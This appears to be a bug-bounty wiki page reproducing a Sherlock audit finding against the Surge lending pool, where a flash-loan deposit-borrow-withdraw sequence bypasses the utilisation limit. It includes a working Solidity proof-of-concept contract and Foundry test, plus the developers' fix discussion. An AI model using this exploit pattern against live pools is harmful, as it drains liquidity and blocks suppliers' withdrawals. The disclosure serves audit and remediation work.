Users can borrow all loan tokens
The borrow function checks the new utilisation rate against a surge threshold, but a user can bypass this by depositing loan tokens, borrowing the remaining liquidity, and withdrawing the deposit in the same transaction. This allows an attacker to borrow all available loan tokens, pushing utilisation to 100% and preventing suppliers from withdrawing.
Source: https://github.com/sherlock-audit/2023-02-surge-judging/issues/106
Found by
shaka
Summary
Utilization rate check can be bypassed depositing additional loan tokens and withdrawing them in the same transaction.
Vulnerability Detail
In the borrow function it is checked that the new utilization ratio will not be higher than the surge threshold. This threshold prevents borrowers from draining all available liquidity from the pool and also trigger the surge state, which lowers the collateral ratio.
A user can bypass this and borrow all available loan tokens following these steps:
- Depositing the required amount of loan tokens in order to increase the balance of the pool.
- Borrow the remaining loan tokens from the pool.
- Withdraw the loan tokens deposited in the first step.
This can be done in one transaction and the result will be a utilization rate of 100%. Even if the liquidity of the pool is high, the required loan tokens to perform the strategy can be borrowed using a flash loan.
Impact
The vulnerability allows to drain all the liquidity from the pool, which entails two problems:
- The collateral ratio starts decreasing and only stops if the utilization ratio goes back to the surge threshold.
- The suppliers will not be able to withdraw their tokens.
The vulnerability can be executed by the same or other actors every time a loan is repaid or a new deposit is done, tracking the mempool and borrowing any new amount of loan tokens available in the pool, until the collateral ratio reaches a value of zero.
A clear case with economic incentives to perform this attack would be that the collateral token drops its price at a high rate and borrow all the available loan tokens from the pool, leaving all suppliers without the chance of withdrawing their share.
Code Snippet
Proof of concept
Helper contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import { FlashBorrower, Flashloan, IERC20Token } from "./FlashLoan.sol";
import { Pool } from "./../../src/Pool.sol";
contract Borrower is FlashBorrower {
address public immutable owner;
Flashloan public immutable flashLoan;
Pool public immutable pool;
IERC20Token public loanToken;
constructor(Flashloan _flashLoan, Pool _pool) {
owner = msg.sender;
flashLoan = _flashLoan;
pool = _pool;
loanToken = IERC20Token(address(_pool.LOAN_TOKEN()));
}
function borrowAll() public returns (bool) {
// Get current values from pool
pool.withdraw(0);
uint loanTokenBalance = loanToken.balanceOf(address(pool));
loanToken.approve(address(pool), loanTokenBalance);
// Execute flash loan
flashLoan.execute(FlashBorrower(address(this)), loanToken, loanTokenBalance, abi.encode(loanTokenBalance));
}
function onFlashLoan(IERC20Token token, uint amount, bytes calldata data) public override {
// Decode data
(uint loanTokenBalance) = abi.decode(data, (uint));
// Deposit tokens borrowed from flash loan, borrow all other LOAN tokens from pool and
// withdraw the deposited tokens
pool.deposit(amount);
pool.borrow(loanTokenBalance);
pool.withdraw(amount);
// Repay the loan
token.transfer(address(flashLoan), amount);
// Send loan tokens to owner
loanToken.transfer(owner, loanTokenBalance);
}
}
Execution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import "forge-std/Test.sol";
import "../src/Pool.sol";
import "../src/Factory.sol";
import "./mocks/Borrower.sol";
import "./mocks/ERC20.sol";
contract PoC is Test {
address alice = vm.addr(0x1);
address bob = vm.addr(0x2);
Factory factory;
Pool pool;
Borrower borrower;
Flashloan flashLoan;
MockERC20 collateralToken;
MockERC20 loanToken;
uint maxCollateralRatioMantissa;
uint surgeMantissa;
uint collateralRatioFallDuration;
uint collateralRatioRecoveryDuration;
uint minRateMantissa;
uint surgeRateMantissa;
uint maxRateMantissa;
function setUp() public {
factory = new Factory(address(this), "G");
flashLoan = new Flashloan();
collateralToken = new MockERC20(1 ether, 18);
collateralToken.transfer(bob, 1 ether);
loanToken = new MockERC20(100 ether, 18);
loanToken.transfer(alice, 1 ether);
loanToken.transfer(address(flashLoan), 99 ether);
maxCollateralRatioMantissa = 1e18;
surgeMantissa = 0.8e18; // 80%
pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), maxCollateralRatioMantissa, surgeMantissa, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
}
function testFailBorrowAll() external {
// Alice deposits 1 LOAN token
vm.startPrank(alice);
loanToken.approve(address(pool), 1 ether);
pool.deposit(1 ether);
vm.stopPrank();
// Bob tries to borrow all available loan tokens
vm.startPrank(bob);
collateralToken.approve(address(pool), 1 ether);
pool.addCollateral(bob, 1 ether);
pool.borrow(1 ether);
vm.stopPrank();
}
function testBypassUtilizationRate() external {
uint balanceBefore = loanToken.balanceOf(bob);
// Alice deposits 1 LOAN token
vm.startPrank(alice);
loanToken.approve(address(pool), 1 ether);
pool.deposit(1 ether);
vm.stopPrank();
// Bob tries to borrow all available loan tokens
vm.startPrank(bob);
collateralToken.approve(address(pool), 1 ether);
borrower = new Borrower(flashLoan, pool);
pool.addCollateral(address(borrower), 1 ether);
borrower.borrowAll();
vm.stopPrank();
assertEq(loanToken.balanceOf(bob) - balanceBefore, 1 ether);
}
}
Tool used
Manual Review
Recommendation
A possible solution would be adding a locking period for deposits of loan tokens.
Another possibility is to enforce that the utilization rate was under the surge rate also in the previous snapshot.
Discussion
xeious
Recommending medium severity because there's no direct loss of funds. We're thinking of solving this by forbidding deposits and withdrawals in a single block.
xeious
Fixed https://github.com/Surge-fi/surge-protocol-v1/commit/9492d0355dc273b566329dfdc9979566d166bddf
IAm0x52
Seems like the reported behavior is inherent to this model of lending. The provided fix doesn't make this behavior impossible, only more difficult because the user can no longer utilize flash loans
xeious
Updated https://github.com/Surge-fi/surge-protocol-v1/commit/67eb775ec5e30525684ce9e8250019a5dae8f915
IAm0x52
Updated fix looks good. Deposits now lock for a much longer time which heavily disincentivizes an attack like this.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the utilisation check only considers the current state and does not account for deposits and withdrawals within the same transaction, allowing the threshold to be bypassed.
Impact
The vulnerability allows draining all liquidity from the pool, which could cause the collateral ratio to decrease and prevent suppliers from withdrawing their tokens.
What the attacker needed
A flash loan or sufficient loan tokens; a collateral deposit; ability to execute multiple calls in one transaction
The fix
The project fixed this by forbidding deposits and withdrawals in a single block and later by adding a longer lock period for deposits.
How it was found
- Deposit the required amount of loan tokens to increase the pool balance.
- Borrow the remaining loan tokens from the pool.
- Withdraw the loan tokens deposited in the first step.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A lending pool lets people deposit tokens to earn interest and others borrow them. The pool has a safety limit on how much can be borrowed at once. The bug is that someone can temporarily add tokens to the pool, borrow almost everything, then take their added tokens back out, all in one go, leaving the pool empty and other users unable to withdraw.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.